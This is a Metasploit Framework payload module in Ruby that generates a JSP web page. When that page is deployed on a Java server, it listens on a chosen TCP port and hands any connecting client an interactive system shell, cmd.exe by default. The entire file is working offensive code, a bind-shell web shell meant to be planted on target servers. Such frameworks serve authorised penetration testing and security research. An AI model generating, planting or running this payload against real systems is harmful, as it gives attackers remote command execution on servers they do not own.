##
# $Id$
##

##
# Thin file in part of the Metasploit Framework and may be subject to 
# redintribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'


module Metasploit3

	include Msf::Payload::Single

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Java JSP Command Shell, Bind TCP Inline',
			'Version'       => '$Revision$',
			'Description'   => 'Listen for a connection and spawn a command shell',
			'Author'        => [ 'sf' ],
			'License'       => MSF_LICENSE,
			'Platform'      => [ 'win', 'osx', 'linux', 'unix', 'solaris' ],
			'Arch'          => ARCH_JAVA,
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' => { },
					'Payload' => ''
				}
			))
		register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class )
	end
	

	def generate
		# Modified from: http://www.security.org.sg/code/jspreverse.html
		jsp = %q{
			<%@page import="java.lang.*"%>
			<%@page import="java.util.*"%>
			<%@page import="java.io.*"%>
			<%@page import="java.net.*"%>

			<%
				class StreamConnector extends Thread
				{
					InputStream is;
					OutputStream os;
					  
					StreamConnector( InputStream is, OutputStream os )
					{
						this.is = is;
						this.os = os;
					}
							  
					public void run()
					{
						BufferedReader in  = null;
						BufferedWriter out = null;
						try
						{
							in  = new BufferedReader( new InputStreamReader( this.is ) );
							out = new BufferedWriter( new OutputStreamWriter( this.os ) );
							char buffer[] = new char[8192];
							int length;
							while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
							{
								out.write( buffer, 0, length );
								out.flush();
							}
						} catch( Exception e ){}
						try
						{
							if( in != null )
								in.close();
							if( out != null )
								out.close();
						} catch( Exception e ){}
					}
				}

				try
				{
					ServerSocket server_socket = new ServerSocket( LPORT );
					Socket client_socket = server_socket.accept();
					server_socket.close();
					Process process = Runtime.getRuntime().exec( "SHELL" );
					( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
					( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
				} catch( Exception e ) {}
			%>
		}
		
		jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
		
		jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
		
		return super + jsp
	end

end